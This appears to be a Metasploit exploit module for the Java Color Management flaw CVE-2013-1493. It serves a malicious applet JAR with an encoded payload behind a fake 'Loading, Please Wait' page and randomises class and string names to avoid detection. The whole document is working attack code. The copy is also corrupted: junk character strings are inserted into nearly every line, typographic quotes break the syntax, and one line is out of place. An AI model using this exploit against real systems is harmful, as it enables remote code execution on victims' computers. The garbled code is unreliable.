##. g' j, f1 o+ Q- A# F I7 A
# Z! f; O+ \% E9 J# This file is part of the Metasploit Framework and may be subject to1 S. A$ m$ ?. `) V4 m0 L
# redistribution and commercial restrictions. Please see the Metasploit9 J; R+ P8 O% O: r h. q7 H
# web site for more information on licensing and terms of use.
; B5 d& x% |5 y# http://metasploit.com/9 A, q& P0 Q7 L+ H$ Q0 N7 f
##/ E) v( Y- c* S* `
require ‘msf/core’
* L+ S4 O4 Q4 srequire ‘rex’& X& J2 x2 x$ ^# m8 j# h
class Metasploit3 < Msf::Exploit::Remote8 [+ g' m1 v3 s! H% n$ S D
Rank = NormalRanking
% r$ Z" F# h$ {include Msf::Exploit::Remote::HttpServer::HTML% a9 L! ]6 u4 k6 H/ Z, _
include Msf::Exploit::EXE, A# G6 i8 B2 O
include Msf::Exploit::Remote::BrowserAutopwn; p" S" n2 M0 I9 u5 D4 L
autopwn_info({ :javascript => false })
2 I; W% ~. R* Cdef initialize( info = {} )
8 D2 k3 n: G3 R# I3 H2 ]# n2 G8 g1 Hsuper( update_info( info,
2 B" W3 E% O$ u: N‘Name’ => ‘Java CMM Remote Code Execution’,2 ^" l ?2 X4 I- P" h" _7 L2 e% }; z
‘Description’ => %q{- c7 Q9 j7 j" ~$ Z6 ^+ i2 B6 O9 h
This module abuses the Color Management classes from a Java Applet to run
& x) r3 N+ L2 n. @- qarbitrary Java code outside of the sandbox as exploited in the wild in February
, Q m" f% W, G* m$ \- Dand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41; T! D7 P y6 M* r2 ]& w3 Q
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1( ?6 H4 l% N0 R2 |7 G
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
7 v/ i$ T) {+ E$ L4 {warning in order to run the malicious applet.
0 ?1 u1 |3 c8 ]8 M; t+ M u! H/ _},/ n& I ~4 @4 p) D- U# L# I
‘License’ => MSF_LICENSE,
5 w6 y) S2 B4 n3 \+ R‘Author’ =>- V3 u3 n( B: m- U
'Unknown', # Vulnerability discovery and Exploit
( T+ Q% r# k6 `) L4 p'juan vazquez' # Metasploit module (just ported the published exploit)3 d) ?( F' A! v6 r' Z* `2 D
],9 G) M! V1 D, m' H x7 b! l
‘References’ =>9 i" |* \0 g* S( \, d+ j
[4 J+ t/ L& l f" }
[ 'CVE', '2013-1493' ],
2 R) b% r' d' N! H' o- \9 k8 B& T[ 'OSVDB', '90737' ],
" Q0 ^7 B2 z5 P) X e[ 'BID', '58238' ],/ C2 w; S) L, Y, H8 [
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],4 ]5 p& c5 x2 `" x% |2 a' H8 z' P6 [
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
, `) H+ i6 ~0 }# ~[ 'URL', 'http://pastie.org/pastes/6581034' ]( `' @% z: w/ C, |; D
],
0 ~6 a1 s! N% o6 x- a2 D0 g1 x f: z‘Platform’ => [ 'win', 'java' ],% h* W" V1 A. f+ K2 R7 z
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
/ x; z& [0 Z; Y+ C5 o. L‘Targets’ =>) M( K% ^" c6 \
[
; E" ^- R8 ]6 l I& n[ 'Generic (Java Payload)',
" J! R" v& }6 T( O* E{
; c1 Q1 L4 R5 E2 c* b'Platform' => 'java',
' _9 S6 X3 t& z0 x' g6 E0 l'Arch' => ARCH_JAVA# ~+ E5 A* J' }& z- [
}
0 k! x; J1 @% \' u], u$ g3 X) v# D( p' x; A
[ 'Windows x86 (Native Payload)',
7 F) {: M& S" e+ _+ z, X6 d{
1 \6 y: K1 e) I7 S% e0 }'Platform' => 'win',
0 S5 B& V8 O2 _4 n" X% v'Arch' => ARCH_X86
" K$ ^9 p. [2 I" y; P" d2 P z7 s}
( M8 F5 O8 H" A]
. n# {& ^! Q6 y],
$ W! ?2 f$ U2 P: s3 e‘‘DisclosureDate’ => ‘Mar 01 2013′* d$ J1 A. {* N. w. }6 Q* a7 U
))
! W1 m9 l h6 t1 e, \$ a6 s+ \end d: Q2 F; y7 d0 ?1 H' ~( r; W L k
def setup; x; [0 _* W- ?& D+ U4 O
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
- u2 }1 W- E* ?, ~, Y@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }% I& {9 j/ V- h9 ?
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)& k# M2 B n( H$ f- ]
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
3 Q1 ?+ c' B) o* v/ Z$ Z+ G Qpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)8 F6 Q* t, W3 d6 a$ C4 @1 \
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
) u) @, J5 S/ |% gpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
$ J9 E; j0 m8 ~ f4 l@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) } Y" P4 ^2 g0 a, ]; w# C
@init_class_name = rand_text_alpha(“Init”.length)) U5 k5 H s* q) X' K( S" N" `
@init_class.gsub!(“Init”, @init_class_name)- p7 U9 O5 O/ a* i- z1 i
super$ a7 U" d; J8 @& W4 w* a$ d
end
+ ^) S# H ]( j! x$ N) H; Adef on_request_uri(cli, request)
1 X4 ]: h1 u6 o% d! b3 ]print_status(“handling request for #{request.uri}”)' Z r! P) \: h; v4 j) ^
case request.uri' m \% s! t4 c" ?5 J2 i! o, _
when /\.jar$/i0 e9 N" |# c$ a7 }* ~7 G9 d
jar = payload.encoded_jar
7 h" j! y6 G# m/ N$ Qjar.add_file(“#{@init_class_name}.class”, @init_class), v, \. Y+ f% [" h( S% I7 d
jar.add_file(“Leak.class”, @leak_class), \* t6 F% ^7 T5 `+ I) d
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
) c7 d8 g. L9 U' `" O; u% Ojar.add_file(“MyColorSpace.class”, @color_space_class)+ h2 v. Y: z$ e" V1 w
DefaultTarget’ => 1,! ^* x2 v! }) D: R
metasploit_str = rand_text_alpha(“metasploit”.length)
! F, y, M% n, o8 b( qpayload_str = rand_text_alpha(“payload”.length)+ u( R: l4 F% v# N
jar.entries.each { |entry|
' I3 A) d9 @; Ientry.name.gsub!(“metasploit”, metasploit_str)' r# E: r! s( W0 X
entry.name.gsub!(“Payload”, payload_str)
A& x8 r5 u8 G+ r0 N1 Q8 M' k/ bentry.data = entry.data.gsub(“metasploit”, metasploit_str)
0 j3 C/ a& ~' Z% f' yentry.data = entry.data.gsub(“Payload”, payload_str)- i3 g( c- d( j
}
# x9 h3 p0 P8 cjar.build_manifest
: f4 V. n. c( W7 `send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
2 K$ } O( T; {: J# \7 H" G" Wwhen /\/$/7 Z- |! p- B f4 }2 g
payload = regenerate_payload(cli)
% l4 j# ]6 {. K) ]% Wif not payload
9 j3 b2 _5 c- B& y( k( \" S% zprint_error(“Failed to generate the payload.”)
& Q# X6 ^7 }' \- c! ?& H. a9 esend_not_found(cli)4 G/ r( D1 U' {6 j# M9 s) e" x* u
return
2 m* n3 c( j9 y( F5 }2 p4 E# vend1 W# V0 C9 ?+ `' b8 p4 M* H$ k+ N
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
$ M9 b. {9 o" M$ U3 Q) celse
, O: O- g' A3 Gsend_redirect(cli, get_resource() + ‘/’, ”)
# k8 ?3 D" v) `6 }/ M7 qend
1 G7 C, r- {! H' P* l2 |/ q) zend* s+ [" ?) Q3 O7 P
def generate_html
8 B" X+ m5 T2 T9 |. I7 [html = %Q|<html><head><title>Loading, Please Wait…</title></head>|' o- @0 R+ S' a8 F }: y
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
8 h7 }4 Q& A' ~' E& ^html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
4 g8 f5 J5 h$ ?6 d3 _' G# _- g5 }) f& vhtml += %Q|</applet></body></html>|
* r$ W0 \! y& Q% breturn html
" k6 Q, b+ p `" y# kend/ z6 s# h0 g5 a4 @ q
end
) G. _# V% d7 d/ h- V5 send x8 o2 ~) U0 t- a+ a8 I" n' D+ l# T
|